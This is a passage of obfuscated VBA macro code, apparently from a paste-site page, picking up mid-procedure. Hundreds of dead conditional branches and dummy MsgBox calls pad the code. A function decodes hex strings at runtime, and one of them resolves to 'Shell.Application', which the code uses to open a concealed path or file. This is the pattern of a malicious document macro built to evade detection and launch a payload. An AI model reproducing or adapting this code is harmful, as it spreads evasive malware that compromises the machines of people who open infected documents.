  686. If Len(BHUIGiukdf("61784A737A6E456D37313137")) = Len(BHUIGiukdf("524B725376565944")) Then
  687.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  688. End If
  689.         MsgBox (BHUIGiukdf("465566554E4C4E6C3232"))
  690.  
  691.  
  692. End If
  693. If Len(BHUIGiukdf("417352554A794C7039343638")) = Len(BHUIGiukdf("72554A696645585A")) Then
  694. If 872124 = 872124 + 1 Then End
  695. If 7652 < 61 Then
  696. If 331288 = 331288 + 1 Then End
  697. If 7195 < 14 Then
  698.         MsgBox (BHUIGiukdf("676A7943565744723738"))
  699. End If
  700. If Len(BHUIGiukdf("636D514765515A6132393934")) = Len(BHUIGiukdf("5561655647414B53")) Then
  701.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  702. End If
  703.         MsgBox (BHUIGiukdf("5A566862636C4D413935"))
  704.  
  705. End If
  706. If Len(BHUIGiukdf("77436C417741656732353631")) = Len(BHUIGiukdf("566C547A4C567555")) Then
  707. If 341137 = 341137 + 1 Then End
  708. If 8938 < 84 Then
  709.         MsgBox (BHUIGiukdf("5166726F524F654D3137"))
  710. End If
  711. If Len(BHUIGiukdf("4A55686E795A4F6C33383437")) = Len(BHUIGiukdf("6D725A615A4E5351")) Then
  712.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  713. End If
  714.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  715.  
  716. End If
  717. If 543129 = 543129 + 1 Then End
  718. If 1224 < 45 Then
  719.         MsgBox (BHUIGiukdf("52626C486A4A58513939"))
  720. End If
  721. If Len(BHUIGiukdf("4445424F7749514935323232")) = Len(BHUIGiukdf("43706A4B69764E6C")) Then
  722.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  723. End If
  724.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  725.  
  726.  
  727. End If
  728. If 219763 = 219763 + 1 Then End
  729. If 5577 < 12 Then
  730. If 337536 = 337536 + 1 Then End
  731. If 2216 < 17 Then
  732.         MsgBox (BHUIGiukdf("537550526D726C773236"))
  733. End If
  734. If Len(BHUIGiukdf("4B6E58585843425736313235")) = Len(BHUIGiukdf("77586F786C6D6566")) Then
  735.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  736. End If
  737.         MsgBox (BHUIGiukdf("4E4657754A56414B3433"))
  738.  
  739. End If
  740. If Len(BHUIGiukdf("786649686E41466E32383838")) = Len(BHUIGiukdf("594D4E76736B7273")) Then
  741. If 916956 = 916956 + 1 Then End
  742. If 8746 < 44 Then
  743.         MsgBox (BHUIGiukdf("426F50516564464D3437"))
  744. End If
  745. If Len(BHUIGiukdf("47636C646378477033363435")) = Len(BHUIGiukdf("51495A74546E5970")) Then
  746.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  747. End If
  748.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  749.  
  750. End If
  751. If 783396 = 783396 + 1 Then End
  752. If 5874 < 53 Then
  753.         MsgBox (BHUIGiukdf("6D6F634F5761745A3836"))
  754. End If
  755. If Len(BHUIGiukdf("66696E514B6F666839373733")) = Len(BHUIGiukdf("7256435A4C6B466D")) Then
  756.        MsgBox (BHUIGiukdf("4572726F7220212121"))
  757. End If
  758.     Set ùÐÃØÐãââà = CreateObject(BHUIGiukdf("5368656C6C2E4170706C69636174696F6E"))
  759.  
  760.  
  761.  
  762. ùÐÃØÐãââà.Open òÎÐØàâï
  763. End Sub
  764.  
  765.  
  766.  
  767. Public Function BHUIGiukdf(ByVal VKfUL As String) As String
  768. Dim BdHMbPJymnWvSvj89, HzrnRlvZBXDCsiE63 As Integer
  769. If 134117 = 134117 + 1 Then End
  770. If 7962 < 76 Then
  771. If 922835 = 922835 + 1 Then End
  772. If 1998 < 34 Then
  773.         MsgBox ("wMLdFpyo53")
  774. End If
  775. If Len("rzYvsATd5532") = Len("XPSEAOQe") Then
  776.        MsgBox ("Error !!!")
  777. End If
  778.         MsgBox ("ypozSQHK26")
  779.  
  780. End If
  781. If Len("tcvtkSXt5928") = Len("hXbAlnGZ") Then
  782. If 318426 = 318426 + 1 Then End
  783. If 6912 < 56 Then
  784.         MsgBox ("jNEvIhCT68")
  785. End If
  786. If Len("XcCpAPgs3969") = Len("iXVYZboO") Then
  787.        MsgBox ("Error !!!")
  788. End If
  789.        MsgBox ("Error !!!")
  790.  
  791. End If
  792. If 649897 = 649897 + 1 Then End
  793. If 6268 < 96 Then
  794.         MsgBox ("zoYdthEn49")
  795. End If
  796. If Len("VQZGylnh4225") = Len("ZBvZKGil") Then
  797.        MsgBox ("Error !!!")
  798. End If
  799. HzrnRlvZBXDCsiE63 = 1492
  800.  
  801.  
  802. For BdHMbPJymnWvSvj89 = 0 To 93
  803. If 224155 = 224155 + 1 Then End
  804. If 5713 < 82 Then
  805. If 996294 = 996294 + 1 Then End
  806. If 1377 < 99 Then
  807.         MsgBox ("aJldJluy12")
  808. End If
  809. If Len("lLRUuNza7434") = Len("EkRriGWc") Then
  810.        MsgBox ("Error !!!")
  811. End If
  812.         MsgBox ("RCrwJfyT63")
  813.  
  814. End If
  815. If Len("LhXhEVJz3861") = Len("QValMyXK") Then
  816. If 467893 = 467893 + 1 Then End
  817. If 1554 < 49 Then
  818.         MsgBox ("ySZABgYl22")
  819. End If
  820. If Len("wtlwSBlH8612") = Len("BljpcmNW") Then
  821.        MsgBox ("Error !!!")
  822. End If
  823.        MsgBox ("Error !!!")
  824.  
  825. End If
  826. If 141598 = 141598 + 1 Then End
  827. If 4233 < 15 Then
  828.         MsgBox ("tgGAdgJR27")
  829. End If
  830. If Len("ckNXZCQb8876") = Len("XqpOuczI") Then
  831.        MsgBox ("Error !!!")
  832. End If
  833. HzrnRlvZBXDCsiE63 = HzrnRlvZBXDCsiE63 + BdHMbPJymnWvSvj89
  834.  
  835.  
  836. If 843589 = 843589 + 1 Then End
  837. If 6156 < 57 Then
  838. If 466479 = 466479 + 1 Then End
  839. If 4433 < 78 Then
  840.         MsgBox ("KldSvRnl97")
  841. End If
  842. If Len("nnNVXXNx9977") = Len("lotesrts") Then
  843.        MsgBox ("Error !!!")
  844. End If
  845.         MsgBox ("XkenaWyh32")
  846.  
  847. End If
  848. If Len("WRlETXsE3113") = Len("yelBYQtN") Then
  849. If 278313 = 278313 + 1 Then End
  850. If 5611 < 43 Then
  851.         MsgBox ("qIRkqsxk55")
  852. End If
  853. If Len("HyBetYFV2667") = Len("zRNvywIm") Then
  854.        MsgBox ("Error !!!")
  855. End If
  856.        MsgBox ("Error !!!")
  857.  
  858. End If
  859. If 752918 = 752918 + 1 Then End
  860. If 7389 < 17 Then
  861.         MsgBox ("psKkcdUZ51")
  862. End If
  863. If Len("uFFMvjRk5346") = Len("PzPIqSsx") Then
  864.        MsgBox ("Error !!!")
  865. End If
  866. DoEvents
  867.  
  868.  
  869. Next BdHMbPJymnWvSvj89
  870. For rxtFIQsuDNIlBT = 1 To Len(VKfUL) Step 2
  871. If 471471 = 471471 + 1 Then End
  872. If 4573 < 79 Then
  873. If 755769 = 755769 + 1 Then End
  874. If 4168 < 14 Then
  875.         MsgBox ("DmfDITaZ88")
  876. End If
  877. If Len("SUZHfYuH2235") = Len("CyEdgwNd") Then
  878.        MsgBox ("Error !!!")
  879. End If
  880.         MsgBox ("JcDSWaCS23")
  881.  
  882. End If
  883. If Len("DaOfXtWZ2549") = Len("kgTzInZY") Then
  884. If 643721 = 643721 + 1 Then End
  885. If 6197 < 95 Then
  886.         MsgBox ("jbtxOrTl48")
  887. End If
  888. If Len("BUKIuwtx4254") = Len("JhCSxEqd") Then
  889.        MsgBox ("Error !!!")
  890. End If
  891.        MsgBox ("Error !!!")
  892.  
  893. End If
  894. If 481544 = 481544 + 1 Then End
  895. If 2526 < 12 Then
  896.         MsgBox ("nJJbqMcm62")
  897. End If
  898. If Len("bruZHXZU9683") = Len("QZiVJPxt") Then
  899.        MsgBox ("Error !!!")
  900. End If
  901. kSSFs = Chr$(Val(Chr(38) & Chr(72) & Mid$(VKfUL, rxtFIQsuDNIlBT, 2)))
  902.  
  903.  
  904. If 375832 = 375832 + 1 Then End
  905. If 6576 < 62 Then
  906. If 574981 = 574981 + 1 Then End
  907. If 9313 < 37 Then
  908.         MsgBox ("NbylLcOx18")
  909. End If
  910. If Len("gJCfTomL7369") = Len("unekWjbO") Then
  911.        MsgBox ("Error !!!")
  912. End If
  913.         MsgBox ("lUsLlvTf74")
  914.  
  915. End If
  916. If Len("NtTRdLXM4633") = Len("qEYafUHj") Then
  917. If 714375 = 714375 + 1 Then End
  918. If 5754 < 44 Then
  919.         MsgBox ("JBylcIQV28")
  920. End If
  921. If Len("HdwweOJs2712") = Len("gyTiUpim") Then
  922.        MsgBox ("Error !!!")
  923. End If
  924.        MsgBox ("Error !!!")
  925.  
  926. End If
  927. If 894423 = 894423 + 1 Then End
  928. If 3596 < 59 Then
  929.         MsgBox ("ZupzyCcc65")
  930. End If
  931. If Len("RrLTgWSo9653") = Len("xDVPReJV") Then
  932.        MsgBox ("Error !!!")
  933. End If
  934. qCQyPBFfTQKdax = qCQyPBFfTQKdax & kSSFs
  935.  
  936.  
  937. Next rxtFIQsuDNIlBT
  938. If 616294 = 616294 + 1 Then End
  939. If 7832 < 93 Then
  940. If 884973 = 884973 + 1 Then End
  941. If 5561 < 27 Then
  942.         MsgBox ("LSqBMmms92")
  943. End If
  944. If Len("KNbzvwnb3527") = Len("evnvbqlX") Then
  945.        MsgBox ("Error !!!")
  946. End If
  947.         MsgBox ("lpvLTbGv56")
  948.  
  949. End If
  950. If Len("zksteJgZ4898") = Len("YTiLGdCY") Then
  951. If 355682 = 355682 + 1 Then End
  952. If 3335 < 67 Then
  953.         MsgBox ("VUlfzjMb11")
  954. End If
  955. If Len("YGubbIlE1382") = Len("vvdRHHvl") Then
  956.        MsgBox ("Error !!!")
  957. End If
  958.        MsgBox ("Error !!!")
  959.  
  960. End If
  961. If 531757 = 531757 + 1 Then End
  962. If 3828 < 25 Then
  963.         MsgBox ("YoFPwOHr76")
  964. End If
  965. If Len("TxrDaPXj1975") = Len("HMtpzbGF") Then
  966.        MsgBox ("Error !!!")
  967. End If
  968. BHUIGiukdf = qCQyPBFfTQKdax
  969.  
  970.  
  971. Dim JzeajhlzOqMBZPw66, qTJnkxMeLIrpGhq89 As Integer
  972. If 971393 = 971393 + 1 Then End
  973. If 9847 < 61 Then
  974. If 937635 = 937635 + 1 Then End
  975. If 9956 < 34 Then
  976.         MsgBox ("wVxazOKm77")
  977. End If
  978. If Len("kAlEeDHp7113") = Len("XGhkGocg") Then
  979.        MsgBox ("Error !!!")
  980. End If
  981.         MsgBox ("hyzYZRoF45")
  982.  
  983. End If
  984. If Len("gljOiTgz7814") = Len("bJkyomov") Then
  985. If 925686 = 925686 + 1 Then End
  986. If 3974 < 26 Then
  987.         MsgBox ("BefOzixq38")
  988. End If
  989. If Len("RnImXAFJ9131") = Len("GBOHCjUf") Then
  990.        MsgBox ("Error !!!")
  991. End If
  992.        MsgBox ("Error !!!")
  993.  
  994. End If
  995. If 289752 = 289752 + 1 Then End
  996. If 2677 < 51 Then
  997.         MsgBox ("WNJwNdJn94")
  998. End If
  999. If Len("EiRIcRjR9634") = Len("iwAwoNBO") Then
  1000.        MsgBox ("Error !!!")
  1001. End If
  1002. qTJnkxMeLIrpGhq89 = 6274
  1003.  
  1004.  
  1005. For JzeajhlzOqMBZPw66 = 0 To 62
  1006. If 323698 = 323698 + 1 Then End
  1007. If 9112 < 35 Then
  1008. If 531557 = 531557 + 1 Then End
  1009. If 6729 < 53 Then
  1010.         MsgBox ("YoHbhjeC76")
  1011. End If
  1012. If Len("VqzMYVCJ4776") = Len("pOzjUDHg") Then
  1013.        MsgBox ("Error !!!")
  1014. End If
  1015.         MsgBox ("afyhsLXf16")
  1016.  
  1017. End If
  1018. If Len("jYCpVEUP5756") = Len("WMMVPNhF") Then
  1019. If 793536 = 793536 + 1 Then End
  1020. If 4812 < 63 Then
  1021.         MsgBox ("mzuqTRgR54")
  1022. End If
  1023. If Len("PmBtkhaa1868") = Len("fIWLrQIt") Then
  1024.        MsgBox ("Error !!!")
  1025. End If
  1026.        MsgBox ("Error !!!")
  1027.  
  1028. End If
  1029. If 319925 = 319925 + 1 Then End
  1030. If 6827 < 32 Then
  1031.         MsgBox ("jVPCZOOM44")
  1032. End If
  1033. If Len("CwtIxran3974") = Len("iMttcKMC") Then
  1034.        MsgBox ("Error !!!")
  1035. End If
  1036. qTJnkxMeLIrpGhq89 = qTJnkxMeLIrpGhq89 + JzeajhlzOqMBZPw66
  1037.  
  1038.  
  1039. If 558451 = 558451 + 1 Then End
  1040. If 2295 < 84 Then
  1041. If 928435 = 928435 + 1 Then End
  1042. If 9954 < 34 Then
  1043.         MsgBox ("wCnFSZfo77")
  1044. End If
  1045. If Len("knxjFTqB7921") = Len("XFltbzKe") Then
  1046.        MsgBox ("Error !!!")
  1047. End If
  1048.         MsgBox ("RxEcOjEG68")
  1049.  
  1050. End If
  1051. If Len("EPLngkOz9252") = Len("FoMChuZb") Then
  1052. If 617856 = 617856 + 1 Then End
  1053. If 9996 < 86 Then
  1054.         MsgBox ("INbLMlRl18")
  1055. End If
  1056. If Len("fcMRFSXB6953") = Len("bXMaGAGw") Then
  1057.        MsgBox ("Error !!!")
  1058. End If
  1059.        MsgBox ("Error !!!")
  1060.  
  1061. End If
  1062. If 641697 = 641697 + 1 Then End
  1063. If 6276 < 96 Then
  1064.         MsgBox ("jAMhfQAC49")
  1065. End If
  1066. If Len("BOUAQeaa4233") = Len("ECEhxbOt") Then
  1067.        MsgBox ("Error !!!")
  1068. End If
  1069. DoEvents
  1070.  
  1071.  
  1072. Next JzeajhlzOqMBZPw66
  1073. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement